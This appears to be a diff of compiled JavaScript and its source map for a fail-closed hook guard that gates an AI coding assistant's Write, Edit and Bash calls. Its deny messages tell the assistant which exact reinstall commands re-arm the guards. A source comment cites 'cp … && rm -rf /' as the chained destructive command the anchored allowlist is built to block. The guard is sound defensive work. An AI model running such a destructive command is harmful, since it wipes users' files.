rules_config_1.SyncFlowGuidance().featureBranchSyncAdvice()} Do NOT try to run those two while this block is up: they are not on the allowlist, and they do not need to be - the install comes first. ${new rules_config_1.SyncFlowGuidance().updateMainAdvice()} git pull and git fetch are allowed while this guard is up and are the cure here. git merge is NOT allowed - not by this guard and not by redirect-how-to-merge-main once the guards are back - because main is merged ONLY through the 3-point fork merge: 'pnpm wp-start-update', or 'pnpm wp-start-upsert-pr' when a PR is already open. ${exports.NO_CHAINING_RULE}"
269
281
  else
270
282
  # A LINKED WORKTREE is the overwhelmingly common way to land here with a perfectly healthy repo:
271
283
  # git gives the new worktree a .git FILE (the primary clone has a .git directory) and copies no
@@ -420,7 +432,7 @@ function isShimCureCommand(command) {
420
432
  // webpieces-disable no-function-outside-class -- pure string builder over exported constants; the single source of the self-guard deny text now that the sh copy is gone.
421
433
  function shimStaleDenyReason(installedVersion) {
422
434
  const verNote = installedVersion ? ` (installed version ${installedVersion})` : '';
423
- return `❌ webpieces-managed file was changed: .claude/webpieces/ai-hook.sh no longer matches the ai-hook.sh rendered by the INSTALLED @webpieces/ai-hook-rules${verNote} (it was reverted or hand-edited). This file is GENERATED and committed by webpieces - it must NOT be reverted or edited by hand, and its fail-closed guard logic cannot be trusted while it differs. Every OTHER tool call is blocked until the two files are byte-identical again. THIS IS NOT A DEADLOCK: all three options below are explicitly ALLOWED through while this guard is up, so run one YOURSELF now - do not hand it back to the human. OPTION 1 (preferred - present in every webpieces release, and it re-arms the shim before it loads anything else) - run EXACTLY this command: '${l0_allowlist_1.INSTALL_HOOKS_CMD}'. OPTION 2 (shim regen only; needs installed @webpieces/ai-hook-rules 0.4.408 or newer) - run EXACTLY this command: '${l0_allowlist_1.UPGRADE_SHIM_CMD}'. OPTION 3 (works on every version, but Claude Code's own permission prompt may ask you to confirm the file overwrite - that prompt is NOT this guard) - run EXACTLY this command: '${l0_allowlist_1.RESTORE_SHIM_CMD}'. ${exports.NO_CHAINING_RULE} Do NOT revert the shim again - if you meant to remove @webpieces/ai-hook-rules, delete its hooks from .claude/settings.json instead.`;
435
+ return `❌ webpieces-managed file was changed: .claude/webpieces/ai-hook.sh no longer matches the ai-hook.sh rendered by the INSTALLED @webpieces/ai-hook-rules${verNote} (it was reverted or hand-edited). This file is GENERATED and committed by webpieces - it must NOT be reverted or edited by hand, and its fail-closed guard logic cannot be trusted while it differs. Every OTHER tool call is blocked until the two files are byte-identical again. THIS IS NOT A DEADLOCK: all three options below are explicitly ALLOWED through while this guard is up, so run one YOURSELF now - do not hand it back to the human. OPTION 1 (preferred, and the only NON-INTERACTIVE spelling) - run EXACTLY this command: '${l0_allowlist_1.INSTALL_HOOKS_SYNC_CMD}'. The installer re-arms the shim as its FIRST step, before it loads anything else, and --sync returns right after the config sync instead of going on to wire the hooks - so it heals and exits cleanly. Do NOT use the BARE '${l0_allowlist_1.INSTALL_HOOKS_CMD}' here: it goes on to wire both hooks and PROMPTS for a target twice, which hangs a non-interactive session. OPTION 2 (shim regen and nothing else; needs installed @webpieces/ai-hook-rules 0.4.408 or newer) - run EXACTLY this command: '${l0_allowlist_1.UPGRADE_SHIM_CMD}'. OPTION 3 (pick this when the installed @webpieces/ai-hook-rules is OLDER than 0.4.408, so wp-upgrade-shim does not exist yet - it works on every version, but Claude Code's own permission prompt may ask you to confirm the file overwrite, and that prompt is NOT this guard) - run EXACTLY this command: '${l0_allowlist_1.RESTORE_SHIM_CMD}'. ${exports.NO_CHAINING_RULE} Do NOT revert the shim again - if you meant to remove @webpieces/ai-hook-rules, delete its hooks from .claude/settings.json instead.`;
424
436
  }
425
437
  // The installed @webpieces/ai-hook-rules version, for shimStaleDenyReason's note. The binary IS this
426
438
  // package, so it reads its OWN package.json (two dirs up from src/bin). Best-effort: '' on any failure,
@@ -1 +1 @@
1
- {"version":3,"file":"shim.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim.ts"],"names":[],"mappings":"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","sourcesContent":["import * as fs from 'fs';\nimport * as path from 'path';\n\nimport { SyncFlowGuidance, CONFIG_FILENAME } from '@webpieces/rules-config';\n\nimport { toError } from '../core/to-error';\nimport {\n L0_ALLOW_ERE, RECOVERY_CMD, INSTALL_HOOKS_CMD, UPGRADE_SHIM_CMD, RESTORE_SHIM_CMD,\n INSTALL_HOOKS_ALLOW_JS, UPGRADE_SHIM_ALLOW_JS, RESTORE_SHIM_ALLOW_JS,\n} from './l0-allowlist';\n\n// The allowlist moved to ./l0-allowlist (this module was over the file-size limit); re-exported here so\n// every existing `from './shim'` import keeps working and there is still ONE name to import L0 by.\nexport * from './l0-allowlist';\n\n// ---------------------------------------------------------------------------\n// The single checked-in shim (.claude/webpieces/ai-hook.sh). Both project hooks point at it, passing\n// their bin name as the first arg. settings.json points here (not at the bare bin) so a missing bin\n// (fresh clone, package removed) yields a friendly message instead of the raw `sh: No such file or\n// directory` on every Write/Edit/Bash tool call. `.claude` is committed, so the shim survives even\n// when node_modules does not.\n//\n// This module is the SINGLE SOURCE OF TRUTH for the shim body + the installer allowlist. The\n// installer (setup.ts) renders it on install; the running guards binary re-renders and self-heals it\n// (healShim) so the committed .sh can never go stale — no human ever hand-edits it.\n// ---------------------------------------------------------------------------\nexport const SHIM_MARKER = '.claude/webpieces/ai-hook.sh';\n\n// NO VERSION STAMP (removed 2026-07-24). The shim used to carry a per-release `# webpieces shim\n// version: <v> (<sha>)` on line 2, rewritten by scripts/set-version.sh at publish. It was a pure\n// human-eyeball diagnostic — nothing reads it (the deny's version note comes from the installed\n// package.json) — but it made the committed shim go byte-different on EVERY release even when the\n// logic was identical, so the committed-shim self-guard tripped on every upgrade over a comment (the\n// DENY-SHIM-STALE churn). It also carried its own hazard: stamp one of the two lockstep artifacts and\n// not the other and every consumer fail-closes forever on a phantom edit. Deleting it makes the shim\n// byte-STABLE across releases, so the self-guard (now in the binary) fires only on a genuine logic\n// change or a real tamper — which is what lets `pnpm install` be the fix for almost everything.\n\nexport function shimPath(projectRoot: string): string {\n return path.join(projectRoot, '.claude', 'webpieces', 'ai-hook.sh');\n}\n\n\n// ---------------------------------------------------------------------------\n// HOW EVERY DENY MUST SPELL ITS CURE (added 2026-07-23, from a live audit-log post-mortem).\n//\n// The guards were right, the message was right, and the assistant STILL handed the block back to the\n// human — because of one appended clause. From .webpieces/logs/ai-hook-shim.log in a consumer repo:\n//\n// DENY-SHIM-STALE cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh && git status --short\n//\n// That is the prescribed cure, verbatim, plus `&& git status --short`. Every allowlist here is anchored\n// to `$`, so the trailing `&&` made it a different command and it was denied — and the assistant read\n// its own denial as proof that \"the guard blocks the very command that fixes it\" and stopped.\n//\n// Widening the allowlist to accept `&& <anything>` is NOT the fix: these are fail-CLOSED escape hatches\n// whose entire security property is that no shell operator can ride along (`cp … && rm -rf /`). The fix\n// is to stop the assistant appending in the first place — so every deny that prescribes a command now\n// (a) numbers its cures as OPTIONs, (b) quotes each one so the exact bytes are unambiguous, and\n// (c) carries this rule, which says in plain words that adding `&&` gets it rejected again.\n//\n// CONSTRAINT on every string that reaches a deny REASON: no double quotes and no backslashes. The\n// reason is interpolated into a `REASON=\"…\"` shell assignment and then printf'd into a JSON string, so\n// a `\"` would break BOTH. Hence single quotes around the commands here — do not \"improve\" them.\n// ---------------------------------------------------------------------------\nexport const NO_CHAINING_RULE =\n 'Type the option you pick EXACTLY as written, character for character, and run NOTHING else on that line. ' +\n 'Seriously: do NOT append && anything (not even a harmless && git status), do NOT wrap it in a subshell. ' +\n 'The allowlist is anchored to the ENTIRE command, so anything you bolt on ' +\n 'makes it a DIFFERENT command and it WILL be rejected again - which is not the guard refusing its own cure. ' +\n 'If an option already contains &&, that && is part of the command: keep it, and still add nothing beyond it. ' +\n 'The only additions tolerated are a LEADING cd <dir> && (needed to run the cure in a linked worktree, since ' +\n 'the harness resets a cwd that left the workspace and puts you back in the primary clone - that one IS ' +\n 'accepted), a trailing 2>&1, and a pipe into tail/head ' +\n '(e.g. cd /path/to/worktree && pnpm install 2>&1 | tail -20).';\n\n// Normal template literal (not String.raw): it carries #235's shell escapes verbatim (\\${BIN_NAME},\n// \\$REASON, \\\\n for the deny JSON) AND my sed backslashes (doubled: \\\\(, \\\\), \\\\1, [^\"\\\\\\\\]). The\n// grep pattern is interpolated from INSTALLER_ALLOW_ERE (its value has no backslashes).\n// Shell fragment: the version-drift guard (see its own block comment). Extracted to a module const so\n// renderShim() stays within the method-line budget; it is spliced back in verbatim, byte-for-byte.\nconst VERSION_DRIFT_GUARD_SH = `# --- webpieces version-drift guard (pure sh — runs even when the installed guard bin is stale) -----\n# The committed shim is version-agnostic, so it keeps working right after a git pull, BEFORE the\n# matching pnpm install. That is exactly when node_modules can be STALE: an OLDER @webpieces than\n# package.json now pins, whose outdated validator rejects the NEWER webpieces.config.json with baffling\n# \"unknown rule\" errors. Detect that drift HERE (before exec'ing the possibly-stale bin): compare every\n# EXACT-pinned @webpieces/* version in the root package.json against the version actually installed in\n# node_modules; the first mismatch wins. Range specs (^ ~ workspace:*) are skipped, so they never\n# false-positive; best-effort — a version we cannot read is skipped. On drift we fall through to the\n# SAME fail-closed path as a missing bin (allow only pnpm install, deny the rest).\n#\n# pnpm CATALOGS: a dep pinned via \"catalog:\" / \"catalog:<name>\" carries NO digit-version in package.json,\n# so the old scraper matched nothing and the guard was BLIND to it — DRIFT_PKG stayed empty and the\n# stale bin ran (the 2026-07 \"0.3.369 vs 0.4.405\" incident). Resolve those specs through the top-level\n# \\`catalogs:\\` block of pnpm-lock.yaml (catalog -> pkg -> resolved version) before comparing.\nDRIFT_PKG=\"\"\nDRIFT_DECLARED=\"\"\nDRIFT_INSTALLED=\"\"\nif [ -f \"$ROOT/package.json\" ]; then\n # Only when a @webpieces dep actually uses a \"catalog:\" spec do we scan the (possibly huge) lockfile —\n # a cheap grep keeps the common, catalog-free repo from paying that cost on every tool call. One awk\n # pass over pnpm-lock.yaml emits \"<catalog> <@webpieces/pkg> <version>\" lines for the sh lookup below;\n # \\\\047 is a single quote (so this awk program carries none and stays safely single-quotable in sh).\n WP_CATALOGS=\"\"\n if grep -Eq '\"@webpieces/[^\"]*\"[[:space:]]*:[[:space:]]*\"catalog:' \"$ROOT/package.json\" 2>/dev/null && [ -f \"$ROOT/pnpm-lock.yaml\" ]; then\n WP_CATALOGS=\"$(awk '\n { n=0; while (substr($0,n+1,1)==\" \") n++; c=substr($0,n+1) }\n c==\"\" { next }\n n==0 { incat=(c ~ /^catalogs: *$/)?1:0; cat=\"\"; pkg=\"\"; next }\n incat==0 { next }\n n==2 { cat=c; sub(/:.*/,\"\",cat); pkg=\"\"; next }\n n==4 { pkg=c; sub(/: *$/,\"\",pkg); gsub(/[\"\\\\047]/,\"\",pkg); next }\n n==6 && substr(pkg,1,11)==\"@webpieces/\" && c ~ /^version:/ {\n v=c; sub(/^version: */,\"\",v); gsub(/[\"\\\\047 ]/,\"\",v);\n if (cat!=\"\" && v!=\"\") print cat \" \" pkg \" \" v\n }\n ' \"$ROOT/pnpm-lock.yaml\" 2>/dev/null)\"\n fi\n while IFS=' ' read -r WP_NAME WP_DECL; do\n [ -n \"$WP_NAME\" ] || continue\n # Resolve the declared spec to an EXACT version, or skip it: ranges (^ ~ workspace:*) never drift,\n # and a catalog spec we cannot resolve is best-effort skipped rather than guessed.\n case \"$WP_DECL\" in\n catalog:*)\n WP_CAT=\"\\${WP_DECL#catalog:}\"; [ -n \"$WP_CAT\" ] || WP_CAT=\"default\"\n WP_DECL=\"$(printf '%s\\\\n' \"$WP_CATALOGS\" | awk -v c=\"$WP_CAT\" -v p=\"@webpieces/$WP_NAME\" '$1==c && $2==p {print $3; exit}')\"\n [ -n \"$WP_DECL\" ] || continue ;;\n [0-9]*) : ;;\n *) continue ;;\n esac\n WP_MANIFEST=\"$ROOT/node_modules/@webpieces/$WP_NAME/package.json\"\n [ -f \"$WP_MANIFEST\" ] || continue\n WP_INST=\"$(sed -n 's/.*\"version\"[[:space:]]*:[[:space:]]*\"\\\\([^\"]*\\\\)\".*/\\\\1/p' \"$WP_MANIFEST\" | head -n1)\"\n [ -n \"$WP_INST\" ] || continue\n if [ \"$WP_DECL\" != \"$WP_INST\" ]; then\n DRIFT_PKG=\"@webpieces/$WP_NAME\"\n DRIFT_DECLARED=\"$WP_DECL\"\n DRIFT_INSTALLED=\"$WP_INST\"\n break\n fi\n done <<WPEOF\n$(sed -n 's/.*\"@webpieces\\\\/\\\\([A-Za-z0-9._-]*\\\\)\"[[:space:]]*:[[:space:]]*\"\\\\([^\"]*\\\\)\".*/\\\\1 \\\\2/p' \"$ROOT/package.json\")\nWPEOF\nfi`;\n\n// Shell fragment: run the installed guard bin and INSPECT its outcome, instead of exec'ing it.\n//\n// THE BUG THIS FIXES (guards silently fail-OPEN): the shim used to `exec \"$BIN\"`. exec REPLACES this\n// shim process, so once the bin was executable the shim was GONE and could no longer make a decision.\n// That is fine when the bin runs — but the bin can be INSTALLED YET BROKEN: a corrupt/partially-written\n// node_modules makes node die at require() time with MODULE_NOT_FOUND, exiting 1. And in the PreToolUse\n// protocol ONLY exit 2 blocks: any other non-zero is a NON-BLOCKING error, so Claude Code prints\n// \"Failed with non-blocking status code\" and RUNS THE TOOL CALL ANYWAY — the guard is silently skipped.\n// Result: every Write/Edit/Bash went UNGUARDED, for as long as node_modules stayed corrupt. The shim\n// handled \"bin missing\" and \"bin stale\", but never \"bin present and CRASHES\" — the third failure mode.\n//\n// So: do not exec. Run the bin with the payload on stdin and branch on its exit code.\n// rc 0 | 2 → a REAL decision (allow / block). Relay stdout, stderr and the code byte-faithfully.\n// anything else → the guard CRASHED. Fall through to the fail-CLOSED path (BROKEN_BIN=1).\n// stdout/stderr go through temp FILES, not $(command substitution), so the bin's bytes reach Claude\n// Code exactly as written — command substitution strips trailing newlines and would corrupt the\n// decision JSON. Reading the payload up-front ($PAYLOAD) is what replaces exec's stdin passthrough.\nconst RUN_BIN_SH = `if [ -x \"\\$BIN\" ] && [ -z \"\\$DRIFT_PKG\" ]; then\n OUT_FILE=\"\\${TMPDIR:-/tmp}/wp-ai-hook-out.\\$\\$\"\n ERR_FILE=\"\\${TMPDIR:-/tmp}/wp-ai-hook-err.\\$\\$\"\n printf '%s' \"\\$PAYLOAD\" | \"\\$BIN\" \"\\$@\" >\"\\$OUT_FILE\" 2>\"\\$ERR_FILE\"\n RC=\\$?\n if [ \"\\$RC\" = 0 ] || [ \"\\$RC\" = 2 ]; then\n cat \"\\$OUT_FILE\" # the guard's real decision — verbatim\n cat \"\\$ERR_FILE\" >&2\n rm -f \"\\$OUT_FILE\" \"\\$ERR_FILE\" 2>/dev/null\n exit \"\\$RC\"\n fi\n # Crashed. Keep the most useful stderr line for the human. Strip \" and backslash so the text stays a\n # valid JSON string, and cap the length so a giant node stack cannot blow up the deny payload.\n CRASH_MSG=\"\\$(grep -m1 'Cannot find module' \"\\$ERR_FILE\" 2>/dev/null | tr -d '\"\\\\\\\\' | cut -c1-120)\"\n [ -n \"\\$CRASH_MSG\" ] || CRASH_MSG=\"\\$(head -n1 \"\\$ERR_FILE\" 2>/dev/null | tr -d '\"\\\\\\\\' | cut -c1-120)\"\n [ -n \"\\$CRASH_MSG\" ] || CRASH_MSG=\"exit code \\$RC, no stderr\"\n rm -f \"\\$OUT_FILE\" \"\\$ERR_FILE\" 2>/dev/null\n BROKEN_BIN=1\nfi`;\n\n// Shell fragment: the guards are DOWN (missing | stale | crashed). Parse the payload, audit-log the\n// decision, and let THE L0 ALLOWLIST through — everything else falls to the deny below.\n//\n// This asks the identical question isAllowed() asks in JS, in the same order: Read, then the\n// webpieces.config.json target, then the one command union (L0_ALLOW_ERE). The sh and JS halves exist\n// because D/X/K are decided BEFORE the bin runs (a stale/missing/broken validator cannot validate\n// itself) while S/C/Y are decided inside it — one model, two enforcement points.\n//\n// NOTE the documented asymmetry: here the bin is never executed, so an allowed Read is TERMINAL and\n// read-stale-guard does not run. In JS the same entry falls through and it does. See isAllowed().\nconst TRIAGE_SH = `CMD=\"\\$(printf '%s' \"\\$PAYLOAD\" | sed -n 's/.*\"command\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\nTOOL=\"\\$(printf '%s' \"\\$PAYLOAD\" | sed -n 's/.*\"tool_name\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\nFILE=\"\\$(printf '%s' \"\\$PAYLOAD\" | sed -n 's/.*\"file_path\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\n# Best-effort audit trail of every decision the fail-closed shim makes WHILE THE GUARDS ARE DOWN, so a\n# human can inspect after something odd (an install that was denied, or one that slipped through). One\n# tab-separated line per call → <root>/.webpieces/logs/ai-hook-shim.log (gitignored). NEVER breaks or\n# blocks the hook: all writes are best-effort (|| true) and go to a file, never to stdout (stdout is\n# the PreToolUse decision channel — a stray byte there would corrupt allow/deny).\nLOG_DIR=\"\\$ROOT/.webpieces/logs\"\nwp_log() { # \\$1 = label (ALLOW-CURE|ALLOW-READ|ALLOW-CONFIG|DENY|DENY-STALE|DENY-BROKEN)\n { mkdir -p \"\\$LOG_DIR\" 2>/dev/null && printf '%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\n' \"\\$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null)\" \"\\$BIN_NAME\" \"\\$TOOL\" \"\\$1\" \"\\$CMD\" >> \"\\$LOG_DIR/ai-hook-shim.log\"; } 2>/dev/null || true\n}\nDENY_LABEL=\"DENY\"\n[ -n \"\\$DRIFT_PKG\" ] && DENY_LABEL=\"DENY-STALE\" # version drift, not a missing bin\n[ -n \"\\$BROKEN_BIN\" ] && DENY_LABEL=\"DENY-BROKEN\" # bin present but CRASHED (corrupt node_modules)\n# THE L0 ALLOWLIST, entry order identical to isAllowed(). No fault is consulted: a cure that cannot\n# help a given fault also cannot hurt it, and gating each entry on a fault is what produced the four\n# defects recorded above L0_ALLOW_ERE.\nif [ \"\\$TOOL\" = \"Read\" ]; then\n wp_log ALLOW-READ # you must be able to read to work out how to fix this\n exit 0\nfi\ncase \"\\$FILE\" in\n */${CONFIG_FILENAME}|${CONFIG_FILENAME})\n wp_log ALLOW-CONFIG # the always-allowed recovery target — every guard is configured from it\n exit 0 ;;\nesac\nif printf '%s' \"\\$CMD\" | grep -Eq '${L0_ALLOW_ERE}'; then\n wp_log ALLOW-CURE # record the self-heal we let through (re-enables the guards)\n exit 0 # allow the cure so the assistant can break the deadlock\nfi\nwp_log \"\\$DENY_LABEL\" # every fail-closed block (…-STALE = drift, …-BROKEN = crash) for inspection`;\n\n// Shell fragment: emit the deny. FAIL CLOSED via Claude Code's PreToolUse JSON protocol\n// (permissionDecision \"deny\" on stdout, then exit 0) rather than a bare \"exit 2\". BOTH block the call,\n// but the reason must be made VISIBLE, and HOW depends on the tool (verified by live tests; the docs\n// are wrong here):\n// - Bash deny: permissionDecisionReason is NOT shown to the human — ONLY a top-level systemMessage\n// is, and it honors ANSI. So for Bash we emit systemMessage wrapped in ANSI red so the\n// recovery command is visible (without it, on Bash, it is invisible).\n// - Write/Edit/MultiEdit deny: permissionDecisionReason renders as a RED \"Error:\" block natively —\n// no systemMessage needed (a second line would be redundant).\n// - NEVER exit 2 (stdout JSON ignored; stderr not reliably shown on a blocked Bash call).\n// The ESC is emitted as the literal 6-char JSON escape \\\\u001b (built via ${BS} so no raw ESC byte and\n// no \\\\uXXXX sits in this source); Claude Code's JSON parser turns \\\\u001b into ESC. The reason is a\n// single JSON string with no double-quotes/backslashes, so it stays valid JSON after ${BIN_NAME} subs.\nconst DENY_EMIT_SH = `if [ \"\\$TOOL\" = \"Bash\" ]; then\n BS='\\\\' # one literal backslash, so the 